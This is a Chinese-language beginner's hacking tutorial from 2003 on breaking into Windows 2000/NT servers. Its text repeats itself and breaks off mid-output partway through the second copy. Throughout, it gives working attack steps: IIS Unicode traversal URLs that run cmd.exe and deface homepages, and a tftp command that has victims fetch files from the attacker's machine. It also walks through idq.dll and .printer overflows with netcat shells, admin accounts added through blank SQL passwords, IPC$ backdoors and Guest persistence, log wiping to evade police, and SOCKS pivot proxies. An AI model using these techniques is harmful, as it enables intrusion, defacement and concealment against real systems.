网络黑客新手入门指南

网络黑客新手入门指南

编辑:Nature 来源:原创作品 类别:黑客教学 日期:2003.07.04 今日/总浏览: 35/3849

网络黑客新手入门指南

Written By Nature

各位网络新手,大家好。为了新手们更快的进入奇妙的网络世界,我决定写一篇指导文章。其实我也是个菜鸟,对网络也是略知一二,第一次写教程,有不足之处,肯请赐教。相信会花时间看这篇文章的人,都是对入侵一知半解的。其实,我个人认为,微软的Windows 2K和NT是世界上应用范围很广,最容易学习的一种操作系统(OS),同时也是漏洞最多的OS,作为新手,我建议大家从2K和NT的入侵开始学起。我会陆续介绍有关入侵的手段及入侵后可以做的有利于自己的事。: )

(一)系统基本知识

1.a.什么是IP:要是真的想说清楚什么是IP,那是一项很繁重的工作。简单的来说,IP就是所有Internet或是局域网上的主机的身份证。所有网络的机器连接起来后,每台机器都会有一个唯一的合法的IP地址,一台机器和别的指定的机器通讯都要依据IP来实现的。IP地址的写法为XXX.XXX.XXX.XXX。有四段数字组成,第一段数字可为1-255,后三段数字可为0-255,且所有的IP地址分为A、B、C、D、E五类,主要是A、B、C三类。其有效范围如下表所示:

类别 网络号 主机号

A 1~126 0~255 0~255 1~254

B 128~191 0~255 0~255 1~254

C 192~223 0~255 0~255 1~254

有关IP地址的问题可以查阅相关的资料,笔者在此就不再多耗笔墨了。呵呵~~~~~~~~~~~~~: p

1.b.怎样得到自己和别人的IP呢?以Windows 98为例:在“开始”—“运行”里输入:winipcfg。接着,Windows就会打开“IP 配置”。其中,在“Ethernet 适配器信息”—“IP 地址”会显示xxx.xxx.xxx.xxx,这就是你的IP。要想得到别人的IP,可以使用一些工具软件,不过最简单的使用Windows自带的一个小程序ping.exe。在MS-DOS命令行下输入ping www.xxx.com。会出现:

C:\>ping www.xxx.com

Pinging www.xxx.com [xxx.xxx.xxx.xxx] with 32 bytes of data:

Reply from xxx.xxx.xxx.xxx: bytes=32 time=630ms TTL=116

Reply from xxx.xxx.xxx.xxx: bytes=32 time=630ms TTL=116

Reply from xxx.xxx.xxx.xxx: bytes=32 time=120ms TTL=116

Ping statistics for xxx.xxx.xxx.xxx:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:

Minimum = 120ms, Maximum = 630ms, Average = 187ms

其中:xxx.xxx.xxx.xxx 就是 http://www.xxx.com的网络服务器的IP地址。

2.a.Unicode漏洞:“Unicode漏洞”是微软IIS的一个重大漏洞。2001年最热门漏洞之一。下面我们来简要介绍一下它的原理。

IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含Unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。攻击者可以利用这个漏洞来绕过IIS的路径检查,去执行或者打开任意的文件。此漏洞从中文IIS4.0+SP6开始,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1,台湾繁体中文也同样存在这样的漏洞。(Win NT4 编码为:%c1%9c ,Win2000 英文版 编码为:%c0%af)

假设目标主机为英文版Winodows 2k,IP为xxx.xxx.xxx.xxx,且存在Unicode漏洞,那么我们在浏览器里输入:

http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir ,之后浏览器就会显示如下内容:

Directory of C:\inetpub\scripts

2002-02-08 15:49 〈DIR〉 .

2002-02-08 15:49 〈DIR〉 ..

2002-02-08 10:20 Index.html

2002-02-08 10:20 background.jpg

........................................

从上面的测试可以看出:

在浏览器里输入http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+md+d:\Nature,运行后我们可以看到返回这样的结果:

CGI Error

The specified CGI application misbehaved by not returning a complete

set of HTTP headers. The headers it did return are:

英文意思是:

CGI错误

具体的CGI申请有误,不能返回完整的HTTP标题,返回的标题为:

但是,你其实仍然在目标主机的 D:\ 里建立了一个名为:Nature的文件夹。

2.b.利用Unicode漏洞我们还可以简单的修改目标主机的WEB文件。一般情况下,我们要修改目标主机的web文件,常用到的方法是利用echo回显、管道工具“>” “>>”。如果你对这些命令不熟悉,可以键入以下命令以查看帮助文档,如:

C:\>echo/?

显示信息,或将命令响应打开或关上。

ECHO [ON | OFF]

ECHO [message]

仅键入 ECHO 而不加参数,可以显示当前的 ECHO 设置。

管道工具“>” “>>” 的不同之处

“>”“>>”是将命令产生的输出重新定向,比如写到某个文件或输出到打印机中。

“>>”将产生的内容追加进文件中,“>”则将原文件内容覆盖。

IIS加载程序检测到有cmd.exe或者command.com串就要检测特殊字符“&|(,;%”。如果发现有这些字符就会返回500错误,所以不能直接使用cmd.exe加管道符等。如果我们输入:http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+echo+内容+> d:\cnhack.bat

我们可以看到提示:

HTTP 500 - 内部服务器错误

Internet Explorer

所以我们如果要echo和>的结合使用,就应该这样输入: http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd

完成后看它的主页已经被修改成了:Hacked By Nature 了。其实只要我们弄懂这个漏洞的使用,仅仅使用IE,我们就可以“黑”掉一个网站咯!就这么简单!

3.idq.dll缓冲区溢出漏洞。作为安装过程的一部分,IIS 安装了几个 ISAPI 扩展 .dlls 。其中的 idq.dll 存在问题,它是 Index Server 的一个组件,对管理员脚本(.ida文件)和Internet数据查询 (.idq文件)提供支持。但是,idq.dll 在处理一段URL输入的代码中存在一个未经检查的缓冲区。攻击者利用此漏洞能导致受影响服务器产生缓冲区溢出,从而执行自己提供的代码。而更为严重的是,idq.dll 是以 SYSTEM 身份运行的,攻击者成功利用此漏洞后能取得系统管理员权限。(SYSTEM权限相当于超级管理员权限,很值得注意!)Windows 2k和NT都受到了不同程度的影响。

4.IIS.printer漏洞(应用程序映射缓冲溢出):这也是近期比较流行的漏洞,国内国外仍有N台机器存在此漏洞。

微软Windows 2000 IIS 5的打印ISAPI扩展接口建立了.printer扩展名到msw3prt.dll的映射关系,缺省情况下该映射存在。当远程用户提交对.printer的URL请求时,IIS 5调用msw3prt.dll解释该请求。由于msw3prt.dll缺乏足够的缓冲区边界检查,远程用户可以提交一个精心构造的针对.printer的URL请求,其

GET /NULL.printer HTTP/1.0

Host: [buffer]

Windows2000操作系统发现Web异常停止后,会自动重启。通过构造包含适当的Shell Code的脚本, 黑客可以以system用户的身份,不停地远程通过web执行任何指令。这个漏洞的危害比IISHACK更大,原因是由于IIS4.0不自动重启的原因,用IIShack黑客只能获得一次Shell,而通过这个漏洞,黑客可以不停地利用。目前Internet上已经有了针对这个漏洞的exploit程序,可以绑定系统的cmd.exe程序,从而自由地执行指令。

5.MSSQL空密码漏洞:SQL服务器是一个非常强大的数据库。当然,这么庞大的程序漏洞也不少。超级管理员sa的默认密码为空,就是一个重大漏洞。SQL Server是运行于NT平台上的数据库,通常采用IIS作为网络服务器的NT服务器均采用SQL服务器作为数据库服务器。SQL服务器目前最高的版本是2000,但是通常比较常见的是6.5和7.0(包括SP1)。SQL服务器如果配置不当,将对

NT系统本身造成很大的危害,在一般情况下都可以直接获得超级用户的权限。SQL 2000以前的版本在默认安装时的密码均为空,如果在安装的时候没有及时修改密码,无疑是为Windows NT系统打开了一道后门。

有关于系统漏洞的知识就先讲到这里。下面我们来看看怎么在实战中取得胜利,就是要动手干了啊!OK,Let's Go!

(二)实战演练阶段

1.Unicode漏洞实战篇(文中所提到的软件均可在黑白网络www.521hacker.com下载到。)

还记得我们在第一部分介绍的Unicode漏洞吗?可别告诉你没有什么印象啊!呵呵,我们就先来看看利用Unicode漏洞和tftp来上传文件的方法。也许你会问,什么是tftp呢?简单来说,tftp 就是让你的电脑变成一台服务器,让目标主机来下载你的文件,这样就可以达到上传的目的。在运行tftp32.exe之前,建议关闭其他FTP服务器,保持tftpd运行,这时你的机器已经是一个FTP服务器了。然后,把你要上传的文件,复制到同一目录下。回到你的浏览器,在地址栏里输入:

http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp -i y.y.y.y GET icmd.exe c:\\inetpub\\scripts\\icom.exe

y.y.y.y为你自己的IP,注意:c:\\inetpub\\scripts\\icom.exe,用

http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+c:\inetpub\scripts\icom.exe,如果有提示,那表示上传成功!

好的,下面我们再来谈谈用利用Unicode漏洞结合Winshell来取得SYSTEM权限的实例。假设目标主机存在Unicode漏洞。还是用tftp来上传winshell.exe,并将其改名成winserver.exe(这样比较隐蔽嘛!),然后在浏览器里输入:

http://xxx.xxx.xxx.xxx/scripts/..%c0%af../winnt/system32/cmd.exe?/c+c:\inetpub\scripts\winserver.exe

(这时候,浏览器可能像没有响应一样,许久没有反应,但是,这个程序已经启动了,请暂时不要关闭浏览器)

好的,现在我们就可以telnet上去了:telnet xxx.xxx.xxx.xxx 5277 (5277是winshell默认打开的端口)

WinShell v1.0 - '!' to quit, 'enter' to shell...

Microsoft(R) Windows NT(TM)

(C) Copyright 1985-1996 Microsoft Corp.

C:\Inetpub\scripts>

在黑别人主页的时候是不是遇到过找不到WEB文件存放位置的情况?有时候网管为了避免受到攻击,就把WEB文件的存放位置改了。这可苦了我们啊,没关系,只要是它的2K或NT没有打service park(补丁包,简称SP),那么它就存在一个ida漏洞,攻击者利用此漏洞可以得到WEB文件存放的位置。我们在浏览器里输入一个不存在的.ida文件,如:http://xxx.xxx.xxx.xxx/Nature.ida,接着,浏览器就会返回如下的提示:

找不到IDA文件在 D:\Inetpub\wwwroot\Nature.ida

其中,“D:\Inetpub\wwwroot\”就是目标主机存放WEB文件的地方了。呵呵,黑了它吧!

攻击完成之后,我们就要擦PP了,要不被警察叔叔拉去玩,可就不好了,对吧?

用tftp把CleanIISLog.exe传到目标主机上去,再利用winshell telnet 上去,在命令行下执行CleanIISLog.exe就可以了(有关CleanIISLog的用法,请参见程序附带的帮助文档)。PP擦完后走人!

2.idq.dll漏洞实战篇 这次是利用idq.dll漏洞溢出SYSTEM权限。要用到的程序有:Snake IIS IDQ 溢出程序、Netcat(即NC),有关软件的使用方法,详见帮助文档,笔者在此就不都介绍了。

假设我们的目标主机是2K,有无打SP不清楚。我们以GUI(图形界面)版的Snake IIS IDQ 溢出程序为例介绍。

设置:被攻击地址:IP:xxx.xxx.xxx.xxx Port(端口):80

溢出选项:选择“溢出后,在一个端口监听”

监听端口:813

要绑定的命令:cmd.exe /c dir c:\

操作系统类型:IIS5 Chinese Win2k

设置完成之后,点击“IDQ溢出”,完成。程序会提示“发送shellcode 到 xxx.xxx.xxx.xxx :80 OK”。

接着进入MS-DOS方式。以下面的方式运行NC:nc --v xxx.xxx.xxx.xxx 80

C:\>nc -vv xxx.xxx.xxx.xxx 813

xxx.xxx.xxx.xxx: inverse host lookup failed: h_errno 11004: NO_DATA

(UNKNOWN) [xxx.xxx.xxx.xxx] 813 (?): connection refused

sent 0, rcvd 0: NOTSOCK

D:\>

呵呵,没有成功哦,可能是打了SP1吧,那我们就在“操作系统类型”里选“IIS5 Chinaese Win2K SP1”,重复以上步骤。

C:\>nc -vv xxx.xxx.xxx.xxx 813

xxx.xxx.xxx.xxx: inverse host lookup failed: h_errno 11004: NO_DATA

(UNKNOWN) [xxx.xxx.xxx.xxx] 813 (?) open

Microsoft Windows 2000 [Version 5.00.2195]

(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>

3.IIS.printer漏洞实战篇(用到的程序有:IIS5hack(.printer溢出工具), Netcat(即NC) 。有关IIS5HACK的用法参见帮助。)

关于IIS5HACK程序中部分单词解释:Host:溢出主机的IP地址。HostPort:主机端口。HostType:主机操作系统类型。ShellPort:溢出的端口

现在我们开始吧。假设目标主机为2K系统,且存在IIS.printer漏洞。示例如下:

C:\>iis5hack xxx.xxx.xxx.xxx 80 1 3739

IIS5 remote .printer overflow. writen by sunx

http://www.sunx.org

for test only, dont used to hack, :p

Listn: 80

connecting...

sending...

Now you can telnet to 3739 port

good luck :)

OK!溢出成功!接着用NC连接它的3739端口:

C:\>nc xxx.xxx.xxx.xxx 3739

http://www.sunx.org

Microsoft Windows 2000 [Version 5.00.2195]

(C) 版权所有 1985-2000 Microsoft Corp.

C:\WINNT\system32>

c:\WINNT\system32>whoami

SYSTEM

3.MSSQL空密码漏洞实战篇(用到的软件:流光FluxayIV)

a.利用SQL空密码添加超级用户

开始吧!运行流光4,按Ctrl+R,出现主机扫描设置,填入IP地址,扫描主机类型选SQL,点确定。一会后,假设我们扫到了一台SQL密码为空的主机,流光会自动将用户加入列表,点击用户名,流光会出现连接的提示,点击即可连接。现在你可以添加一个用户(SYSTEM权限):

net user Nature 123456 /add

net localgroup administrators Nature /add

b.SQL空密码结合PCAnyWhere获得目标主机的完全管理权

检查一下目标主机是否开有5631端口,如果有的话,说明目标主机有PCAnyWhere远程管理,如果取得他的帐号和密码,我们不就是可以用PcAnyWhere来远程管理目标主机了吗?!默认情况下,PCAnyWhere安装于c:\Program Files目录下,其data目录下的.cif文件中保存着加密过的帐号和密码。只要得到此文件,就可以用流光自带的PCAnyWhere密码文件解码器来快速解出密码了!用流光扫描该主机,如果有PCAnyWhere文件,那么在流光主机详细列表中就会有主机名了。点击该主机后,流光会有连接提示,点击后即可出现连接对话框。在其中填上你的WEB服务器(可以是免费空间)的ftp地址,用户名和密码,点击确定,过一会,流光会提示上传成功。我们再从我们的个人主页上将那个.cif文件下载下来。然后在流光中按Ctrl+T调出文件选择框,选中那个.cif文件,单击确定,流光的PCAnyWhere密码文件解码器就会很快解出密码!现在打开PCAnyWhere Manager,建立一个指向xxx.xxx.xxx.xxx的通道。在setting项中选择network host pc to control or ip adress, 并添上目标ip:xxx.xxx.xxx.xxx ,选中login information项中的automatically login to host up connection ,并在下面的login name和password栏中填入刚才得到的用户名和密码,确定即可。双击新建立的通道,稍等片刻即可看到了对方桌面。呵呵!又搞定咯!抓抓里面的好东东吧!

4.IPC$共享弱密码漏洞篇(用到的软件:流光FluxayIV,srv.exe、ntlm.exe流光的tools目录下有)

IPC$是Windows的默认共享。我们可以用主机的管理员用户名和密码连接。其实,这个共享并没有什么漏洞。问题就出在管理员密码上了。直至现在为止,世界上起码有20%的人,把主机密码设置为“空”或者“123”等简单密码。而这就是个致命的共享漏洞。我们可以通过猜解管理员的密码,得到目标主机的超级管理员权限, 就可以将目标主机完全控制了!呵呵!是不是很惊讶?来吧,开始入侵!Go Go Go !!!

如果你得到了SQL的管理员密码,你就可以通过IPC$连接到目标主机了。在命令提示符下,使用如下命令:

C:\>net use \\xxx.xxx.xxx.xxx\IPC$

命令成功完成。

C:\>copy srv.exe \\xxx.xxx.xxx.xxx\admin$

C:\>net time \\xxx.xxx.xxx.xxx

\\xxx.xxx.xxx.xxx 的当前时间是 2002/2/11 上午 9:30

命令成功完成。

C:\>at \\xxx.xxx.xxx.xxx 9:35 srv.exe

新加了一项作业,其作业 ID = 1

过了几分钟后,可以再查查目标主机的时间到了我们设置的时间了没有,如果到了,我们就可以telnet上去了,默认端口是99

C:\>telnet xxx.xxx.xxx.xxx 99

Microsoft Windows 2000 [5.00.2195]

(C) Copyright 1985-1999 Microsoft Corp.

C:\WINNT\system32

C:\>copy ntlm.exe \\xxx.xxx.xxx.xxx\admin$

回到刚才开的telnet的窗口

Microsoft Windows 2000 [5.00.2195]

(C) Copyright 1985-1999 Microsoft Corp.

C:\WINNT\system32\ntlm.exe

Windows 2000 Telnet Dump, by Assassin, All Rights Reserved.

Done!

C:\WINNT\system32\net start telnet

Telnet 服务正在启动...

Telnet 服务已经启动。

键入exit,切断和目标主机的telnet连接,然后再次telnet到目标主机:

C:\WINNT\system32\telnet xxx.xxx.xxx.xxx

Password:

C:\>WINNT\system32\copy srv.exe c:\inetpub\scripts

C:\>WINNT\system32\cmd.exe c:\inetpub\scripts\winserver.exe

C:\>net user Guest /active:yes

C:\net user Guest 1234567890

C:\>net localgroup administrators Guest /add

好了,后门也留够了,这下可以放心了。下次如果管理员的密码改了,只要Guest没有修改,你就可以用Guest来登陆目标主机了!

5.Sock5代理跳板篇(用到的程序:sksockserver.exe,由Snake制作的sock5代理跳板制作工具)

经常有朋友会问起关于Sock5代理的问题,可见大家都对它很感兴趣,所以我觉得还是有必要在这里介绍一下(Sock5代理真的很有用哦)

代理跳板的原理,可以参见以下的示意图:

加密数据 加密数据 普通数据

[]=======[]=======[]=======[]========[]=:::=[]=======[]

工作站 跳板1 跳板2 跳板3 跳板4 跳板N 目标机

好的,开始制作Sock5代理跳板咯!先用IPC$登陆到目标主机上,方法见上文IPC$共享弱密码漏洞篇。然后进入命令提示符状态:

C:\>copy c:\snake\Sksockserver.exe \\xxx.xxx.xxx.xxx\c$\admin$ telnet xxx.xxx.xxx.xxx

Welcome to Microsoft Telnet Client

Telnet Client Build 5.00.99203.1

Escape Character is 'CTRL+]'

You are about to send your password information to a remote computer

in Internet zone. This might not be safe. Do you want to send it anyway(y/n):y

NTLM Authentication failed due to insufficient credentials.

Please login with

clear text username and password

Microsoft (R) Windows (TM) Version 5.00 (Build 2195)

Welcome to Microsoft Telnet Service

Telnet Server Build 5.00.99201.1

login:administrator

password: **********

*==========================================================

Microsoft Telnet

*==========================================================

C:\>

C:\>sksockserver.exe

SkServer - is freeware, All Rights Reserved by snake.2001.

Run with paramater below list:

-Install (Install the service)

-Remove (Remove the service)

-Debug 1813 (Run as console program at port 1813)

~ Next are about service registry value setting ~

-config Show [Port/StartType/Client/SkServer] (Show current config)

-config Port [NewPort] (Set/Show SkServer's Port)

-config StartType [1~3] (Set/Show StartType)

( 2-Auto, 3-Manual, 4-Disable)

-config Client [add/del/change] [IP Mask Enable]

(Show/add/del/change Client Set)

-config SkServer [add/del/change] [IP Port Enable]

(Show/add/del/change Pass Skserver Set)

C:\>sksockserver -install

如果你想来个连跳,那么安装后还要做一下设置。先看看默认设置情况:

C:\>sksockserver -config show

SkServer Port = 1080

SkServer StartType: 3 - Manual

SkServer Enable Client Set Num:0

SkServer Pass SkServer Number:0

如何设置连跳:

c:> SkSockServer -config client'ip [add/del] === [显示/增加/删除 客户端的项目]

c:> SkSockServer -config SkServer'ip [add/del] === [显示/增加/删除 经过SkServer的项目]

C:\>net start skserver

C:\>net start

These Windows 2000 services are started:

......

Snake SockProxy Service

Telnet

......

The command completed successfully.

C:\>

结束语

第一次写这样的教程,没有经验,纯凭自己的感觉走。写完了看看,就觉得有很多不足之处,这仅仅是我自己看出来的,还有我没有发现的不足,希望读者朋友们能够给我提出宝贵意见,从而促使我在以后写出更好的入门文章。一开始准备写的时候,想法很简单,就是把自己平时积累的经验用生动的叙述写出来,可真到了开始写的时候,才发现并不是像自己想的那样简单。一开始列的提纲,写着写着,就觉得还有很多东西没有写,于是越写越觉得要写的东西实在太多了,简直没办法写完。其实网络就是这样,有永远也学不完的知识和技术......在这里我还要谢谢所有支持我的朋友们,有你们的支持,就更加坚定了我一直努力下去,写出更好的黑客资料的信心!真的,谢谢你们!^_^

有什么问题需要我的帮助,尽可以给我来信,我的E-Mail地址是: [email protected]

网络黑客新手入门指南

编辑:Nature 来源:原创作品 类别:黑客教学 日期:2003.07.04 今日/总浏览: 35/3849

网络黑客新手入门指南

Written By Nature

各位网络新手,大家好。为了新手们更快的进入奇妙的网络世界,我决定写一篇指导文章。其实我也是个菜鸟,对网络也是略知一二,第一次写教程,有不足之处,肯请赐教。相信会花时间看这篇文章的人,都是对入侵一知半解的。其实,我个人认为,微软的Windows 2K和NT是世界上应用范围很广,最容易学习的一种操作系统(OS),同时也是漏洞最多的OS,作为新手,我建议大家从2K和NT的入侵开始学起。我会陆续介绍有关入侵的手段及入侵后可以做的有利于自己的事。: )

(一)系统基本知识

1.a.什么是IP:要是真的想说清楚什么是IP,那是一项很繁重的工作。简单的来说,IP就是所有Internet或是局域网上的主机的身份证。所有网络的机器连接起来后,每台机器都会有一个唯一的合法的IP地址,一台机器和别的指定的机器通讯都要依据IP来实现的。IP地址的写法为XXX.XXX.XXX.XXX。有四段数字组成,第一段数字可为1-255,后三段数字可为0-255,且所有的IP地址分为A、B、C、D、E五类,主要是A、B、C三类。其有效范围如下表所示:

类别 网络号 主机号

A 1~126 0~255 0~255 1~254

B 128~191 0~255 0~255 1~254

C 192~223 0~255 0~255 1~254

有关IP地址的问题可以查阅相关的资料,笔者在此就不再多耗笔墨了。呵呵~~~~~~~~~~~~~: p

1.b.怎样得到自己和别人的IP呢?以Windows 98为例:在“开始”—“运行”里输入:winipcfg。接着,Windows就会打开“IP 配置”。其中,在“Ethernet 适配器信息”—“IP 地址”会显示xxx.xxx.xxx.xxx,这就是你的IP。要想得到别人的IP,可以使用一些工具软件,不过最简单的使用Windows自带的一个小程序ping.exe。在MS-DOS命令行下输入ping www.xxx.com。会出现:

C:\>ping www.xxx.com

Pinging www.xxx.com [xxx.xxx.xxx.xxx] with 32 bytes of data:

Reply from xxx.xxx.xxx.xxx: bytes=32 time=630ms TTL=116

Reply from xxx.xxx.xxx.xxx: bytes=32 time=630ms TTL=116

Reply from xxx.xxx.xxx.xxx: bytes=32 time=120ms TTL=116

Ping statistics for xxx.xxx.xxx.xxx:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:

Minimum = 120ms, Maximum = 630ms, Average = 187ms

其中:xxx.xxx.xxx.xxx 就是 http://www.xxx.com的网络服务器的IP地址。

2.a.Unicode漏洞:“Unicode漏洞”是微软IIS的一个重大漏洞。2001年最热门漏洞之一。下面我们来简要介绍一下它的原理。

IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含Unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。攻击者可以利用这个漏洞来绕过IIS的路径检查,去执行或者打开任意的文件。此漏洞从中文IIS4.0+SP6开始,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1,台湾繁体中文也同样存在这样的漏洞。(Win NT4 编码为:%c1%9c ,Win2000 英文版 编码为:%c0%af)

假设目标主机为英文版Winodows 2k,IP为xxx.xxx.xxx.xxx,且存在Unicode漏洞,那么我们在浏览器里输入:

http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir ,之后浏览器就会显示如下内容:

Directory of C:\inetpub\scripts

2002-02-08 15:49 〈DIR〉 .

2002-02-08 15:49 〈DIR〉 ..

2002-02-08 10:20 Index.html

2002-02-08 10:20 background.jpg

........................................

从上面的测试可以看出:

在浏览器里输入http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+md+d:\Nature,运行后我们可以看到返回这样的结果:

CGI Error

The specified CGI application misbehaved by not returning a complete

set of HTTP headers. The headers it did return are:

英文意思是:

CGI错误

具体的CGI申请有误,不能返回完整的HTTP标题,返回的标题为:

但是,你其实仍然在目标主机的 D:\ 里建立了一个名为:Nature的文件夹。

2.b.利用Unicode漏洞我们还可以简单的修改目标主机的WEB文件。一般情况下,我们要修改目标主机的web文件,常用到的方法是利用echo回显、管道工具“>” “>>”。如果你对这些命令不熟悉,可以键入以下命令以查看帮助文档,如:

C:\>echo/?

显示信息,或将命令响应打开或关上。

ECHO [ON | OFF]

ECHO [message]

仅键入 ECHO 而不加参数,可以显示当前的 ECHO 设置。

管道工具“>” “>>” 的不同之处

“>”“>>”是将命令产生的输出重新定向,比如写到某个文件或输出到打印机中。

“>>”将产生的内容追加进文件中,“>”则将原文件内容覆盖。

IIS加载程序检测到有cmd.exe或者command.com串就要检测特殊字符“&|(,;%”。如果发现有这些字符就会返回500错误,所以不能直接使用cmd.exe加管道符等。如果我们输入:http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+echo+内容+> d:\cnhack.bat

我们可以看到提示:

HTTP 500 - 内部服务器错误

Internet Explorer

所以我们如果要echo和>的结合使用,就应该这样输入: http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd

完成后看它的主页已经被修改成了:Hacked By Nature 了。其实只要我们弄懂这个漏洞的使用,仅仅使用IE,我们就可以“黑”掉一个网站咯!就这么简单!

3.idq.dll缓冲区溢出漏洞。作为安装过程的一部分,IIS 安装了几个 ISAPI 扩展 .dlls 。其中的 idq.dll 存在问题,它是 Index Server 的一个组件,对管理员脚本(.ida文件)和Internet数据查询 (.idq文件)提供支持。但是,idq.dll 在处理一段URL输入的代码中存在一个未经检查的缓冲区。攻击者利用此漏洞能导致受影响服务器产生缓冲区溢出,从而执行自己提供的代码。而更为严重的是,idq.dll 是以 SYSTEM 身份运行的,攻击者成功利用此漏洞后能取得系统管理员权限。(SYSTEM权限相当于超级管理员权限,很值得注意!)Windows 2k和NT都受到了不同程度的影响。

4.IIS.printer漏洞(应用程序映射缓冲溢出):这也是近期比较流行的漏洞,国内国外仍有N台机器存在此漏洞。

微软Windows 2000 IIS 5的打印ISAPI扩展接口建立了.printer扩展名到msw3prt.dll的映射关系,缺省情况下该映射存在。当远程用户提交对.printer的URL请求时,IIS 5调用msw3prt.dll解释该请求。由于msw3prt.dll缺乏足够的缓冲区边界检查,远程用户可以提交一个精心构造的针对.printer的URL请求,其

GET /NULL.printer HTTP/1.0

Host: [buffer]

Windows2000操作系统发现Web异常停止后,会自动重启。通过构造包含适当的Shell Code的脚本, 黑客可以以system用户的身份,不停地远程通过web执行任何指令。这个漏洞的危害比IISHACK更大,原因是由于IIS4.0不自动重启的原因,用IIShack黑客只能获得一次Shell,而通过这个漏洞,黑客可以不停地利用。目前Internet上已经有了针对这个漏洞的exploit程序,可以绑定系统的cmd.exe程序,从而自由地执行指令。

5.MSSQL空密码漏洞:SQL服务器是一个非常强大的数据库。当然,这么庞大的程序漏洞也不少。超级管理员sa的默认密码为空,就是一个重大漏洞。SQL Server是运行于NT平台上的数据库,通常采用IIS作为网络服务器的NT服务器均采用SQL服务器作为数据库服务器。SQL服务器目前最高的版本是2000,但是通常比较常见的是6.5和7.0(包括SP1)。SQL服务器如果配置不当,将对

NT系统本身造成很大的危害,在一般情况下都可以直接获得超级用户的权限。SQL 2000以前的版本在默认安装时的密码均为空,如果在安装的时候没有及时修改密码,无疑是为Windows NT系统打开了一道后门。

有关于系统漏洞的知识就先讲到这里。下面我们来看看怎么在实战中取得胜利,就是要动手干了啊!OK,Let's Go!

(二)实战演练阶段

1.Unicode漏洞实战篇(文中所提到的软件均可在黑白网络www.521hacker.com下载到。)

还记得我们在第一部分介绍的Unicode漏洞吗?可别告诉你没有什么印象啊!呵呵,我们就先来看看利用Unicode漏洞和tftp来上传文件的方法。也许你会问,什么是tftp呢?简单来说,tftp 就是让你的电脑变成一台服务器,让目标主机来下载你的文件,这样就可以达到上传的目的。在运行tftp32.exe之前,建议关闭其他FTP服务器,保持tftpd运行,这时你的机器已经是一个FTP服务器了。然后,把你要上传的文件,复制到同一目录下。回到你的浏览器,在地址栏里输入:

http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp -i y.y.y.y GET icmd.exe c:\\inetpub\\scripts\\icom.exe

y.y.y.y为你自己的IP,注意:c:\\inetpub\\scripts\\icom.exe,用

http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+c:\inetpub\scripts\icom.exe,如果有提示,那表示上传成功!

好的,下面我们再来谈谈用利用Unicode漏洞结合Winshell来取得SYSTEM权限的实例。假设目标主机存在Unicode漏洞。还是用tftp来上传winshell.exe,并将其改名成winserver.exe(这样比较隐蔽嘛!),然后在浏览器里输入:

http://xxx.xxx.xxx.xxx/scripts/..%c0%af../winnt/system32/cmd.exe?/c+c:\inetpub\scripts\winserver.exe

(这时候,浏览器可能像没有响应一样,许久没有反应,但是,这个程序已经启动了,请暂时不要关闭浏览器)

好的,现在我们就可以telnet上去了:telnet xxx.xxx.xxx.xxx 5277 (5277是winshell默认打开的端口)

WinShell v1.0 - '!' to quit, 'enter' to shell...

Microsoft(R) Windows NT(TM)

(C) Copyright 1985-1996 Microsoft Corp.

C:\Inetpub\scripts>

在黑别人主页的时候是不是遇到过找不到WEB文件存放位置的情况?有时候网管为了避免受到攻击,就把WEB文件的存放位置改了。这可苦了我们啊,没关系,只要是它的2K或NT没有打service park(补丁包,简称SP),那么它就存在一个ida漏洞,攻击者利用此漏洞可以得到WEB文件存放的位置。我们在浏览器里输入一个不存在的.ida文件,如:http://xxx.xxx.xxx.xxx/Nature.ida,接着,浏览器就会返回如下的提示:

找不到IDA文件在 D:\Inetpub\wwwroot\Nature.ida

其中,“D:\Inetpub\wwwroot\”就是目标主机存放WEB文件的地方了。呵呵,黑了它吧!

攻击完成之后,我们就要擦PP了,要不被警察叔叔拉去玩,可就不好了,对吧?

用tftp把CleanIISLog.exe传到目标主机上去,再利用winshell telnet 上去,在命令行下执行CleanIISLog.exe就可以了(有关CleanIISLog的用法,请参见程序附带的帮助文档)。PP擦完后走人!

2.idq.dll漏洞实战篇 这次是利用idq.dll漏洞溢出SYSTEM权限。要用到的程序有:Snake IIS IDQ 溢出程序、Netcat(即NC),有关软件的使用方法,详见帮助文档,笔者在此就不都介绍了。

假设我们的目标主机是2K,有无打SP不清楚。我们以GUI(图形界面)版的Snake IIS IDQ 溢出程序为例介绍。

设置:被攻击地址:IP:xxx.xxx.xxx.xxx Port(端口):80

溢出选项:选择“溢出后,在一个端口监听”

监听端口:813

要绑定的命令:cmd.exe /c dir c:\

操作系统类型:IIS5 Chinese Win2k

设置完成之后,点击“IDQ溢出”,完成。程序会提示“发送shellcode 到 xxx.xxx.xxx.xxx :80 OK”。

接着进入MS-DOS方式。以下面的方式运行NC:nc --v xxx.xxx.xxx.xxx 80

C:\>nc -vv xxx.xxx.xxx.xxx 813

xxx.xxx.xxx.xxx: inverse host lookup failed: h_errno 11004: NO_DATA

